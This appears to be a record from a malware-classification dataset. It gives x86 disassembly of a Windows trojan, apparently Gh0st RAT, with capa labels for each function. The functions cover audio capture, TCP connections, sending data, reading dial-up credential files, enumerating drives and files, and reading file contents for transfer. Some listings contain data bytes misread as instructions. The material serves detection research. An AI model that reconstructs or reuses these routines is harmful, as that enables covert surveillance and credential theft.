joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010f0
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov al, byte [esi + 0x44]
mov dword [esi], 0x414500
test al, al
je 0x40114c
mov eax, dword [esi + 0x18]
push eax
call dword [sym.imp.WINMM.dll_waveInStop]
mov ecx, dword [esi + 0x18]
push ecx
call dword [sym.imp.WINMM.dll_waveInReset]
mov ebp, dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
lea edi, [esi + 0x30]
mov ebx, 2
mov edx, dword [edi]
mov eax, dword [esi + 0x18]
push 0x20
push edx
push eax
call ebp
add edi, 4
dec ebx
jne 0x401125
mov ecx, dword [esi + 0x18]
push ecx
call dword [sym.imp.WINMM.dll_waveInClose]
mov edx, dword [esi + 0x2c]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov al, byte [esi + 0x45]
test al, al
je 0x401186
mov eax, dword [esi + 0x40]
push eax
jmp [ebp + 0x64]
lea edi, [esi + 0x30]
mov ebx, 0x7263694d
outsd dx, dword [esi]
jae 0x401200
je 0x4011b4
inc esp
jbe 0x401201
arpl word [ebp + 0x20], sp
dec ebp
popal
outsb dx, byte [esi]
popal
jb 0x401216
add byte [esi - 5], bh
add byte [eax], al
mov ecx, dword [edi + 8]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add edi, 4
dec ebx
jne 0x40118e
mov edx, dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
pop edi
pop esi
pop ebp
pop ebx
ret
popal
outsb dx, byte [esi]
popal
jb 0x40127a
add byte cs:[esi + 0x28], al
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [esi + 0x24]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and al, 0x6a
call dword [ecx - 1]
adc eax, sym.imp.KERNEL32.dll_WaitForSingleObject
mov edx, dword [esi + 4]
mov dword [edi], edx
mov eax, dword [esi + 0x1c]
pop edi
mov eax, dword [esi + eax*4 + 8]
pop esi
ret 4
mov eax, dword [ebx + 0x20]
mov esi, dword [esp + 0x14]
mov edx, ecx
push 0x20
mov edi, dword [ebx + eax*4 + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx + 0x20]
mov edx, dword [ebx + 0x40]
mov ecx, dword [ebx + eax*4 + 0x38]
push ecx
push edx
call dword [sym.imp.WINMM.dll_waveOutWrite]
mov esi, dword [ebx + 0x20]
mov ecx, dword [ebx + 4]
mov eax, 1
add ebp, ecx
sub eax, esi
mov dword [ebx + 0x20], eax
mov eax, dword [esp + 0x18]
cmp ebp, eax
jb 0x401267
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret 0x2508
Function at 0x401b50
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x41113a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.004017a0
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a4], 0
call fcn.004017a0
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a4], 1
call fcn.004017a0
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a4], 2
call fcn.004017a0
lea eax, [esp + 0xc]
mov dword [esi], 0x414518
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x47
mov byte [esp + 5], 0x68
mov byte [esp + 6], 0x30
mov byte [esp + 7], 0x73
mov edx, dword [esp + 4]
lea ecx, [esi + 0xb0]
mov dword [esi + 0xac], eax
mov al, 0x74
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret
Function at 0x401d10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.00402500
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov byte [esi + 0xb5], 0
mov eax, dword [0x419f5c]
test eax, eax
je 0x401d51
cmp eax, 4
je 0x401d51
cmp eax, 5
je 0x401d51
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x401d74
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x419f5c]
mov ebx, dword [esp + 0x34]
test eax, eax
je 0x401d88
push 0x419f60
jmp 0x401d89
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x401da1
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
mov eax, dword [0x419f5c]
mov ebp, dword [esp + 0x38]
test eax, eax
mov word [esp + 0x20], 2
je 0x401dbf
mov cx, word [0x418020]
push ecx
jmp 0x401dc0
push ebp
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x22], ax
mov edx, dword [edi + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x24]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 0xa8]
push eax
mov dword [esp + 0x30], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401dfb
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x20
ret 8
cmp dword [0x419f5c], 5
jne 0x401e1b
push ebp
push ebx
mov ecx, esi
call fcn.00401eb0
test al, al
jne 0x401e1b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x13]
push 1
push ecx
push 8
push 0xffff
push edx
mov byte [esp + 0x27], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x401e7b
push eax
mov edx, dword [esi + 0xa8]
push eax
lea eax, [esp + 0x1b]
push eax
push 0
push 0
lea ecx, [esp + 0x28]
push 0xc
push ecx
push 0x98000004
push edx
mov dword [esp + 0x38], 1
mov dword [esp + 0x3c], 0x2bf20
mov dword [esp + 0x40], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x4021c0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.0040a150
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x402700
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x40276a
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x402749
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x402726
cmp dword [esp + 0x1c], 0xf
je 0x4027a0
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x40271e
test ebx, ebx
jle 0x402794
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x40278b
inc esi
cmp esi, 0xf
jl 0x402770
cmp esi, 0xf
je 0x4027a0
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x4027a3
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x402910
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x220
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x20]
push 0x105
mov esi, ecx
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0x24]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x20]
push edx
push eax
call esi
lea ecx, [esp + 0x20]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call esi
push 0
lea edx, [esp + 0x12c]
push 0x23
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x128]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x130]
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x30]
lea eax, [esp + 0x138]
push 0x1000
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov ebx, eax
lea ebp, [esp + 0x18]
mov dword [esp + 0x14], 2
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [ebp]
push ecx
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x402a0c
mov edx, dword [esp + 0x10]
push esi
inc edx
mov dword [esp + 0x14], edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x4029f3
mov eax, dword [esp + 0x14]
add ebp, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x4029d0
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x14]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x220
ret
Function at 0x402a40
Capabilities:
Get user security identifier

Disassembly:
sub esp, 0x210
mov eax, 0x100
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov eax, dword [ecx + 0x14]
test eax, eax
jne 0x402a61
add esp, 0x210
ret
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
lea ecx, [esp + 0x114]
push edx
push ecx
lea edx, [esp + 0x10]
lea ecx, [esp + 0x1c]
push edx
push ecx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x402a91
add esp, 0x210
ret
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x402aa7
add esp, 0x210
ret
push esi
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push str.ConvertSidToStringSidA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402ad1
lea ecx, [esp + 4]
lea edx, [esp + 0x14]
push ecx
push edx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 4]
pop esi
add esp, 0x210
ret
Function at 0x4038f0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414540
push 0x410da8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x403a4d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x40399c
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x40399c
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403977
cmp al, 0x5c
je 0x403977
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x40395f
cmp byte [esi], 0
je 0x403980
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x403995
cmp al, 0x5c
je 0x403995
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x40397d
cmp byte [esi], 0
je 0x4039bb
jmp 0x4039b7
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x4039bb
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x4039bb
cmp al, 0x5c
jne 0x4039bb
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x403a11
cmp al, 0x5c
jne 0x403a03
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x4039f6
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x403a00
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403a00
push edi
jmp 0x403a44
and eax, 0x10
cmp al, 0x10
je 0x403a00
push edi
jmp 0x403a44
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x4039c1
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403a70
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x403ab5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push connect
call ebp
test eax, eax
je 0x403ae2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push connect
call ebp
test eax, eax
je 0x403b61
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret 8
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x41818c
push edx
call esi
add esp, 8
test eax, eax
jne 0x403bde
lea eax, [esp + 0x6c]
push 0x418188
push eax
call esi
add esp, 8
test eax, eax
jne 0x403bde
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x418184
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x403bed
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x403c15
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret 8
Function at 0x403c50
Capabilities:
Get disk information
Get disk size
Get file system object information

Disassembly:
sub esp, 0x784
push ebx
lea eax, [esp + 0x128]
push ebp
push eax
mov dword [esp + 0x28], ecx
push 0x100
mov byte [esp + 0x394], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x12c]
xor edx, edx
test al, al
lea ebp, [esp + 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x403ded
push esi
push edi
jmp 0x403caa
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x344]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x30]
inc edi
push ecx
mov dword [esp + 0x2c], edi
call esi
inc eax
mov dword [esp + 0x14], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x403d5c
cmp al, 0x42
je 0x403d5c
lea edx, [esp + 0x18]
push 0
lea eax, [esp + 0x24]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x403d5c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.00410db0
mov edx, dword [esp + 0x24]
mov esi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.00410db0
mov dword [esp + 0x10], eax
jmp 0x403d62
xor esi, esi
mov dword [esp + 0x10], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x10]
mov ecx, edi
mov byte [esp + ebx + 0x395], al
mov eax, ecx
mov dword [esp + ebx + 0x396], esi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x28]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea edx, [eax + ebx]
lea esi, [esp + 0x34]
lea edi, [esp + edx + 0x3a2]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x403ca8
pop edi
pop esi
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x38c]
push ebx
push edx
call fcn.00406b20
pop ebp
pop ebx
add esp, 0x784
ret
Function at 0x403e10
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x254
push ebp
push esi
push edi
mov esi, 0x2800
mov edi, ecx
push esi
push 0x40
mov dword [esp + 0x20], edi
mov dword [edi + 0x1c], 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov eax, dword [esp + 0x264]
push eax
lea ecx, [esp + 0x160]
push str._s.
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x15c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x403e93
lea ecx, [esp + 0xf]
push 1
push ecx
mov ecx, edi
mov byte [esp + 0x17], 0x68
call fcn.00406b20
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
push ebx
mov byte [ebp], 0x68
mov ebx, 1
jmp 0x403ea3
mov esi, dword [esp + 0x18]
lea edx, [esi - 0x208]
cmp ebx, edx
jbe 0x403ec3
add esi, 0x208
push 0x42
push esi
push ebp
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edi, 0x4181ac
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x403ef4
test al, al
je 0x403ef0
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x403ef4
add esi, 2
add edi, 2
test al, al
jne 0x403ecc
xor eax, eax
jmp 0x403ef9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x403f93
mov edi, 0x4181a8
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x403f32
test al, al
je 0x403f2e
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x403f32
add esi, 2
add edi, 2
test al, al
jne 0x403f0a
xor eax, eax
jmp 0x403f37
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x403f93
mov al, byte [esp + 0x20]
lea ecx, [esp + 0x4c]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x4c]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x3c]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x40]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x34]
add ebx, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x38]
mov dword [ebx + ebp + 4], eax
add ebx, 8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403e9f
mov ecx, dword [esp + 0x1c]
push ebx
push ebp
call fcn.00406b20
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
Function at 0x4040c0
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x20]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push connect
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x404124
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.00406b20
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4

Function at 0x4041c0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x4041de
call fcn.004042a0
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x404209
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x404281
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.00406b20
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.004042a0
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4